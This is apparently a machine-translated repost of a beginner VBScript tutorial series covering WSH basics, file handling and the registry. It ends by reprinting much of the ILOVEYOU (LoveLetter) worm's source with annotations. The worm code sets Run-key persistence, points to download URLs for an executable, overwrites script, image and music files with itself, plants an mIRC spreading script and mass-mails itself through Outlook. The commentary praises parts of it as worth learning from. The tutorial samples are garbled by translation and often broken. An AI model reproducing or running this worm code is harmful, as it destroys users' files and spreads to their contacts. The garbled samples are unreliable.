Shulou(Shulou.com)06/03 Report--

This article mainly introduces "the most basic vbscript,jscript script programming method". In daily operation, I believe many people have doubts about the most basic vbscript,jscript script programming method. The editor consulted all kinds of materials and sorted out simple and easy-to-use operation methods. I hope it will be helpful for you to answer the doubts about "the most basic vbscript,jscript script programming method". Next, please follow the editor to study!

1. Our first vbs program: the same old Dongdong who lost his teeth.

* hello.vbs**

Dim hello

Hello= "hello world!"

Wscript.echo hello

Wscript echo "this is my first vbs"

You can see that wscript.echo can be used in two ways, and this is not difficult.

You can double-click to run it, and you can enter it on the command line of the current directory:

Cscript hello.vbs

2. Call other programs in the script:

Using the run () method, you must first create an instance of shell before using it.

* shell.vbs**

Set ws=wscript.createobject ("wscript.shell")

Ret=ws.run ("notepad", 3Jing true)

If ret=0 then

Wscript.echo "succeed!"

Else

Wscript.echo "there is an error,the error number is:"

Wscript.echo cstr (ret)

End if

*

Here run has three parameters, the first of which is the path of the program you want to execute

The second program is in the form of a window, and 0 runs in the background.

1 indicates normal operation

2 indicates that the program is activated and displayed as minimized

3 indicates that the program is activated and displayed as maximized

There are 10 of these parameters. I only listed the 4 most commonly used parameters.

The third parameter indicates whether the script will wait or continue to execute. If set to true, the script will wait for the calling program to exit before executing backwards.

Have you noticed that I also have a variable that accepts a return value in front of run. Generally speaking, if the return value is 0, it means successful execution. If it is not 0, then the return value is the error code, and you can find the corresponding error through this code.

3. Inputbox and msgbox

People who know vb should be familiar with two things, and there is no difference in usage.

Input=inputbox ("please enter you password", "passwd")

If input "1234"

Then

Msgbox "you enter a wrong passwd"

End if

Of course, you can also add buttons to msgbox to accept the user's choice with a variable.

For example: ret=msgbox "continue?", vbyesnocancel

The return value is compared with the constant as follows:

Vbok 1

Vbcancel 2

Vbabort 3

Vbretry 4

Vbignore 5

Vbyes 6

Vbno 7

4. Error handling

He vb uses on error resume next as well.

There is nothing to say about this. If you encounter a mistake, skip to the next sentence.

Of course, this method is very retarded, and there needs to be a method. Vbscript provides an object err object.

He has two ways, clear,raise.

5 attributes: description,helpcontext, helpfile,number,source

We can use err.number to get the error number, for example

* err.vbs**

On error resume next

Axi11

Bust 0

C=a/b

If err.number0 then

Wscript.echo err.number & err.description & err.source

End if

We can use err.raisel to manually throw errors

For example, we need to generate a path not found error to tell the user that he has entered the wrong path.

On error resume next

Err.raise 76

Msgbox "error:" & err.description

Err.clear

Vbscript scripting tutorial 2

By sssa2000

7/7/2004

Let's take a look at how to use fso for file manipulation. Fso is the core of file manipulation in vbs. As a hacker, no matter what language you learn, you should know the operation of the file like the back of your hand, so please study carefully.

Instead of talking nonsense, let's take a look at which objects fso consists of:

Drive object: contains information about the storage device, including hard disk, optical drive, ram disk, network drive

Drives collection: provides a list of physical and logical drives

File objects: checking and working with fil

Files collection: provides a list of files in a folder

Folder objects: checking and working with folders

Folders collection: provides a list of subfolders of folders

Textstream objects: reading and writing text files

Take a look at the fso method: because there are many, so I will not write down the role of each, if there is anything you do not understand, check the msdn for yourself. Don't say no.

Bulidpath: add file path information to an existing file path

Copyfile

Copyfolder

Createfolder

Createtextfile

Deletefile

Deletefolder

Dreveexits

Fileexits

Folderexists

Getabsolutepathname: returns the absolute path to a folder or file

Getbasename: returns the basic path to a file or folder

Getdrive: returns a dreve object

Getdrivename: returns the name of a drive

Getextensionname: returns the extension

Getfile: returns a file object

Getfilename: returns the file name in the folder

Getfolder

Getparentfoldername: returns the parent folder of a folder

Getspecialfolder: returns an object pointer to a special folder

Gettempname: returns the name of a randomly generated file or folder that can be used by createtextfile

Movefile

Movefolder

Opentextfile

1. Use fso

Since fso is not part of wsh, we need to model it

For example, set fs=wscript.createobject ("scripting.filesystemobject")

In this way, the model of fso is established. It's easy to release it, set fs=nothing.

2. Use folders

Create:

Before we create it, we need to check if it exists and take a look at the program.

* * createfolder.vbs**

Dim fs,s

Set fs=wscript.createobject ("scripting.filesystemobject")

If (fs.folderexists ("c:\ temp")) then

S = "is available"

Else

S = "not exist"

Set foldr=fs.createfolder ("c:\ temp")

End if

Delete, copy, move

Delete:

Set fs=wscript.createobject ("scripting.filesystemobject")

Fs.deletefolder ("c:\ windows")

Copy:

Set fs=wscript.createobject ("scripting.filesystemobject")

Fs.copyfolder "c:\ data"d:\ data"

Note that if both c:\ data and d:\ data exist at this time, there will be an error and replication will stop. If you want to force overwriting, use fs.copyfolder "c:\ data"d:\ data", true

move

Set fs=wscript.createobject ("scripting.filesystemobject")

Fs.movefolder "c:\ data"d:\ data"

About wildcards:

We can use wildcards to facilitate operation:

For example, fs.movefolder: C:\ data\ te* "," d:\ working "

Notice that I didn't use "\" at the end of the destination path, which means I didn't write:

Fs.movefolder: C:\ data\ te* "," d:\ working\ "

If you write it this way, if the d:\ working directory doesn't exist, windows won't automatically create it for us.

In addition, you have noticed that none of the above involves folder objects. We are all using the methods provided by fso. Of course, we can also use folder:

Set fs= wscript.createobject ("scripting.filesystemobject")

Set f=fs.getfolder ("c:\ data")

Delete f.delete'. If there is a subdirectory, it will also be deleted

F.copy "d:\ working", true 'copy to d:\ working

F.move: "d:\ temp" 'move to d:\ temp

Special folder

Generally refers to the system folder:\ windows\ system32, temporary folder, windows folder

Look below, we use environment variables to get the windows directory. We will talk about environment variables in more detail later. If I forget, please remind me.

Set fs=wscript.createobject ("scripting.filesystemobject")

Set wshshell=wscript.createobject ("wscript.shell")

Osdir=wshshell.expandenvironmentstrings ("% systemroot%")

Set f = fs.getfolder (osdir)

Wscript.echo f

Of course, there is a simple way to use getspecialfolder ()

This method uses three values:

0 indicates the windows folder, and the related constant is windowsfolder

1 system folder, the related constant is systemfolder

2 temporary directory, related constant temporaryfolder

Look at the following example:

* * getspecialfolder**

Set fs=wscript.createobject ("scripting.filesystemobject")

Set wfolder=fs.getspecialfolder (0) 'returns the windows directory

Set wfolder=fs.getspecialfolder (1) 'returns system32\

Set wfolder=fs.getspecialfolder (2) 'returns the temporary directory

3. Use files

Use file properties:

I didn't say the properties of the folder. You can learn from the attributes of the file.

The most common file attributes are:

Normal 0

Readonly 1

Hideen 2

System 4

Set fs=wscript.createobject ("scripting.filesystemobject")

Set f=fs.gerfile ("d:\ index.txt")

F.attributes=f.attributes+1

Unpredictable results occur here because the file attribute of d:\ index.txt is not known, and if the file attribute is 0, it becomes 1. So it's best to query before changing the attribute.

Create

You need to check whether the file exists before creating it, in the same way as the folder mentioned earlier.

* * file.vbs**

Set fs=wscript.createobject ("scripting.filesystemobject")

If fs.fileexists ("c:\ asd.txt") then

S = "available"

Else

S=not exist "

Set f=fs.createtextfile ("c:\ asd.txt")

End if

Of course, we can also use set f=fs.createtextfile ("c:\ asd.txt", true)

To force an existing file to be overwritten

Copy, move, delete files

Like folders, we can use either the methods provided by fso or the file object

Set fs=wscript.createobject ("scripting.filesystemobject")

Fs.copyfile "c:\ asd.txt", "d:\ 1\ asd.txt", true 'copy files and force overwrite if they already exist

Fs.movefile "c:\ asd.txt", "d:\" 'move

Fs.deletefile "c:\ asd.txt" 'delete

Vbscript script programming 3 about the reading and writing of files

By sssa2000

7/9/2004

It is very convenient to use vbscript to read and write documents, cut down on nonsense and get to the point.

1. Open the file

Use the opentextfile method

Set fs = createobject ("scripting.filesystemobject")

Set ts=fs.opentextfile ("c:\ 1.txt", 1je true)

Note that you need to fill in the full path of the file, and the latter parameter is the access mode.

1 is forreading

2 is forwriting

8 is appending

The third parameter specifies whether to create the specified file if it does not exist.

2. Read the file

There are three ways to read a file

Read (x) reads x characters

Readline reads a row

Readall read all

For example:

Set fs = createobject ("scripting.filesystemobject")

Set ts=fs.opentextfile ("c:\ 1.txt", 1je true)

Value=ts.read (20)

Line=ts.readline

Contents=ts.readall

Here are a few more pointer variables:

The atendofstream property of the textstream object. This property returns true when it is at the end of the file. We can use loop detection without reaching the end of the file. For example:

Set fs = createobject ("scripting.filesystemobject")

Set f=fs.getfile ("c:\ 1.txt", 1Powerfalse)

Set ts=f.openastextstream (1 dint 0)

Do while ts.atendofstreamtrue

F.read (1)

Loop

There is also a property, atendofline, which returns true if the end of the line has been reached.

The Textstream object also has two useful properties, column and line.

After opening a file, both the row and column pointers are set to 1.

Look at a comprehensive example:

* * read.vbs**

Set fs = createobject ("scripting.filesystemobject")

Set f=fs.opentextfile ("c:\ 1.txt", 1je true)

Do while f.atendofstreamtrue

Data= ""

For axi1 to 5

If f.atendofstreamtrue then

Data=data+f.readline

End if

Next

Dataset=dataset+1

Wscript.echo "dataset" & dataset & ":" & data

Loop

Finally, let's talk about skipping lines in the file.

Skip (x) skips x characters

Skipline skips one line

The usage is also very simple as before, so let's not talk about it.

3. Write documents

You can write it in forwriting and forappending.

There are three methods:

Write (x)

Writeline

Writeblanklines (n) writes n blank lines

Let's look at an example:

*

Data= "hello, I like script programing"

Set fs = createobject ("scripting.filesystemobject")

If (fs.fileexists ("c:\ 2.txt")) then

Set f = fs.opentextfile ("c:\ 2.txt", 8)

F.write data

F.writeline data

F.close

Else

Set f=fs.opentextfile ("c:\ 2.txt", 2, true)

F.writeblanklines 2

F.write data

F.close

End if

Be sure to close the file after you finish writing it! In addition, if you want to read the file and write the file, you must remember to turn it off after reading so that you can open it in a written way.

Vbscript programming 5

Registry, modifying the registry is a basic skill of programming, and scripting is no exception.

Here, I will not explain the basic structure of the registry.

1. Read the keywords and values of the registry:

You can pass the full path of the keyword to the regread method of the wshshell object

For example:

Set ws=wscript.createobject ("wscript.shell")

V=ws.regread ("HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Run\ nwiz")

Wscript.echo v

2. Write the registry

Read and write, using the regwrite method of the wshshell object

Look at the example:

Path= "HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Run\"

Set ws=wscript.createobject ("wscript.shell")

T=ws.regwrite (path & "jj", "hello")

In this way,

The key value of HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Run\ jj was changed to hello. Note, however: this key value must exist in advance.

If you want to create a new keyword, use this method as well.

Path= "HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ run\ sssa2000\ love\"

Set ws=wscript.createobject ("wscript.shell")

Val=ws.regwrite (path, "nenboy")

Val=ws.regread (path)

Wscript.echo val

Delete keywords and values

Using the regdelete method, just pass the complete path to regdelete

For example

Val=ws.regdel (path)

Note that if you want to delete the value of the keyword, be sure to add "\" at the end of the path, if you do not add a slash, the entire keyword will be deleted.

Rem barok-loveletter (vbe)

Rem by: spyder / ispyder@mail.com / @ GRAMMERSoft Group / Manila,Philip

Pines

'comment: signature of the program author (possible)

On Error Resume Next

Dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

Eq= ""

Ctr=0

Set fso = CreateObject ("Scripting.FileSystemObject")

Note: FileSystemObject is the most dangerous part of the M $VBVM system, and its function is very powerful

From the virus's use of FSO, we can know that Love Letter can be easily prevented by modifying the registry.

Set file = fso.OpenTextFile (WScript.ScriptFullname,1) 'returns the full path of the current script

Vbscopy=file.ReadAll

Main ()

'comment-the program initialization is complete.

Sub main ()

On Error Resume Next

Dim wscr,rr

Set wscr=CreateObject ("WScript.Shell")

Rr=wscr.RegRead ("HKEY_CURRENT_USER\ Software\ Microsoft\ Windows Scriptin

G Host\ Settings\ Timeout ")

If (rr > = 1) then

Wscr.RegWrite "HKEY_CURRENT_USER\ Software\ Microsoft\ Windows Scripting

Host\ Settings\ Timeout ", 0," REG_DWORD "

'comment-prevents program termination caused by operation timeout.

It should be said that the programmer who wrote the virus considered the possible problems, which is worth all programming

People can learn from it.

End if

Set dirwin = fso.GetSpecialFolder (0)

Set dirsystem = fso.GetSpecialFolder (1)

Set dirtemp = fso.GetSpecialFolder (2)

'get the name of the system key folder

VB can be used when programming.

Set c = fso.GetFile (WScript.ScriptFullName) 'returns the full path to the current script

C.Copy (dirsystem& "\ MSKernel32.vbs") 'Copies a specified file or folder from one location to another.

C.Copy (dirwin& "\ Win32DLL.vbs")

C.Copy (dirsystem& "\ LOVE-LETTER-FOR-YOU.TXT.vbs")

'copy yourself to a key directory for backup.

The file name is not very good. It's too easy to find.

Regruns ()

Html ()

Spreadtoemail ()

Listadriv ()

End sub

Sub regruns ()

'modify the registry to automatically load virus programs

Prevention: check this branch of the registry frequently.

'There are known ways to put HTA in the Startup folder. Virus programs use more advanced methods

Because it will not fail because of language problems.

On Error Resume Next

Dim num,downread

Regcreate "HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersio

N\ Run\ MSKernel32 ", dirsystem&"\ MSKernel32.vbs "

Regcreate "HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersio

N\ RunServices\ Win32DLL ", dirwin&"\ Win32DLL.vbs "

Downread= ""

Downread=regget ("HKEY_CURRENT_USER\ Software\ Microsoft\ Internet Explore

R\ Download Directory ")

If (downread= "") then

Downread= "c:\"

End if

If (fileexist (dirsystem& "\ WinFAT32.exe") = 1) then

Randomize

Num = Int ((4 * Rnd) + 1)

If num = 1 then

Regcreate "HKCU\ Software\ Microsoft\ Internet Explorer\ Main\ Start Page"

"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj

W6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe "

Elseif num = 2 then

Regcreate "HKCU\ Software\ Microsoft\ Internet Explorer\ Main\ Start Page"

"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe

546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe "

Elseif num = 3 then

Regcreate "HKCU\ Software\ Microsoft\ Internet Explorer\ Main\ Start Page"

"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm

POhfgER67b3Vbvg/WIN-BUGSFIX.exe "

Elseif num = 4 then

Regcreate "HKCU\ Software\ Microsoft\ Internet Explorer\ Main\ Start Page"

"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh

YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B

UGSFIX.exe "

End if

End if

If (fileexist (downread& "\ WIN-BUGSFIX.exe") = 0) then

Regcreate "HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersio

N\ Run\ WIN-BUGSFIX ", downread&"\ WIN-BUGSFIX.exe "

Regcreate "HKEY_CURRENT_USER\ Software\ Microsoft\ Internet Explorer\ Main

\ Start Page "," about:blank "

End if

End sub

Sub folderlist (folderspec)

'traverse the folder

On Error Resume Next

Dim f,f1,sf

Set f = fso.GetFolder (folderspec)

Set sf = f.SubFolders' get all subfolders of a particular folder, including system hidden folders

For each F1 in sf 'f1 is the object of each subfolder

Infectfiles (f1.path) 'operation of infecting files

Folderlist (f1.path)'do folder traversal again

Next

End sub

Sub listadriv

'traverse all drives.

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then '2.3 is the hard disk and the network shared disk respectively

Folderlist (d.path& "\")

End if

Next

Listadriv = s

End sub

Function fileexist (filespec)

'determine whether the file exists

From a purely technical point of view, this program is not well written.

You dont have to write so long to achieve the same function

On Error Resume Next

Dim msg

If (fso.FileExists (filespec)) Then

Msg = 0

Else

Msg = 1

End if

Fileexist = msg

End function

Function folderexist (folderspec)

'determine whether the folder exists

It smells as bad as the previous program.

On Error Resume Next

Dim msg

If (fso.GetFolderExists (folderspec)) then

Msg = 0

Else

Msg = 1

End if

Fileexist = msg

End function

Sub infectfiles (folderspec)

'perform the operation of infecting the file.

On Error Resume Next

Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

Set f = fso.GetFolder (folderspec)

Set fc = f.Files' get all the files in a particular folder, including system hidden files

For each f1 in fc

Ext=fso.GetExtensionName (f1.path) 'gets the extension

Ext=lcase (ext) 'converted to lowercase

S=lcase (f1.name)

If (ext= "vbs") or (ext= "vbe") then

Set ap=fso.OpenTextFile (f1.pathpr 2je true)

Ap.write vbscopy 'vbscopy=file.ReadAll

Ap.close

Elseif (ext= js) or (ext= "jse") or (ext= "css") or (ext= "wsh") or (ext=

"sct") or (ext= "hta") then

Set ap=fso.OpenTextFile (f1.pathpr 2je true)

Ap.write vbscopy

Ap.close

Bname=fso.GetBaseName (f1.path)

Set cop=fso.GetFile (f1.path)

Cop.copy (folderspec& "\" & bname& ".vbs")

Fso.DeleteFile (f1.path)

Elseif (ext= "jpg") or (ext= "jpeg") then

Set ap=fso.OpenTextFile (f1.pathpr 2je true)

Ap.write vbscopy

Ap.close

Set cop=fso.GetFile (f1.path)

Cop.copy (f1.path& ".vbs")

Fso.DeleteFile (f1.path)

Elseif (ext= "mp3") or (ext= "mp2") then

Set mp3=fso.CreateTextFile (f1.path& ".vbs")

Mp3.write vbscopy

Mp3.close

Set att=fso.GetFile (f1.path)

Att.attributes=att.attributes+2

End if

If (eqfolderspec) then

If (s = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or (s = "scri")

Pt.ini ") or (s =" mirc.hlp ") then

Set scriptini=fso.CreateTextFile (folderspec& "\ script.ini")

Scriptini.WriteLine "[script]"

Scriptini.WriteLine "; mIRC Script"

Scriptini.WriteLine "; Please dont edit this script... mIRC will corru

Pt, if mIRC will "

Scriptini.WriteLine "corrupt... WINDOWS will affect and will not run

Correctly. Thanks "

'i 'm afraid the virus author hasn't learned English well.... But it's bad enough to scare people.

Here, I would like to remind you that do not care about those scary words. If you look closely, you will find that the loophole is not.

Less.

Scriptini.WriteLine ";"

Scriptini.WriteLine "; Khaled Mardam-Bey"

Scriptini.WriteLine "; http://www.mirc.com"

Scriptini.WriteLine ";"

Scriptini.WriteLine "n0=on 1JOINJOINVANG: {"

Scriptini.WriteLine "N1 = / if ($nick = = $me) {halt}"

Scriptini.WriteLine "N2 = / .dcc send $nick" & dirsystem& "\ LOVE-LETTER-FO

R-YOU.HTM "

Scriptini.WriteLine "n3 =}"

Note that as a result, MIRC can also transmit the virus.

Scriptini.close

Eq=folderspec

End if

End if

Next

End sub

Sub regcreate (regkey,regvalue)

'modify the registry (create key value)

This program seems to be a demonstration program for Microsoft.

Set regedit = CreateObject ("WScript.Shell")

Regedit.RegWrite regkey,regvalue

End sub

Function regget (value)

This program also seems to be a demonstration program for Microsoft. (WSH demonstration, in the Windows folder)

Set regedit = CreateObject ("WScript.Shell")

Regget=regedit.RegRead (value)

End function

Sub spreadtoemail ()

'spread by email

On Error Resume Next

Dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

Set regedit=CreateObject ("WScript.Shell")

Set out=WScript.CreateObject ("Outlook.Application")

Limitations of viruses: only Outlook is supported, but Outlook Express does not.

Set mapi=out.GetNameSpace ("MAPI")

For ctrlists=1 to mapi.AddressLists.Count

Set a=mapi.AddressLists (ctrlists)

Xero1

Regv=regedit.RegRead ("HKEY_CURRENT_USER\ Software\ Microsoft\ WAB\" & a)

If (regv= "") then

Regv=1

End if

If (int (a.AddressEntries.Count) > int (regv)) then

For ctrentries=1 to a.AddressEntries.Count

Malead=a.AddressEntries (x)

Regad= ""

Regad=regedit.RegRead ("HKEY_CURRENT_USER\ Software\ Microsoft\ WAB\" & male

Ad)

If (regad= "") then

Set male=out.CreateItem (0)

Male.Recipients.Add (malead)

Male.Subject = "ILOVEYOU"

The reason why the virus got its name

When you see an email like this, it must be a virus.

I'm afraid people in their right minds wouldnt be so straightforward.

Male.Body = vbcrlf& "kindly check the attached LOVELETTER coming from m

E. "

Male.Attachments.Add (dirsystem& "\ LOVE-LETTER-FOR-YOU.TXT.vbs")

Male.Send

Regedit.RegWrite "HKEY_CURRENT_USER\ Software\ Microsoft\ WAB\" & malead,1

"REG_DWORD"

End if

X=x+1

Next

Regedit.RegWrite "HKEY_CURRENT_USER\ Software\ Microsoft\ WAB\" & a memoria.Addre

SsEntries.Count

Else

Regedit.RegWrite "HKEY_CURRENT_USER\ Software\ Microsoft\ WAB\" & a memoria.Addre

SsEntries.Count

End if

Next

Set out=Nothing

Set mapi=Nothing

End sub

Sub html

Technically speaking, this program is beautifully written because it makes full use of the resources of Outlook

'it 's worth writing programs for reference.

The _ symbol in the middle of the program is the connector, so the comment is written here.

There are a lot of invalid statements in the program, which wastes a lot of space.

On Error Resume Next

Dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

Dta1= "LOVELETTER-HTML

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.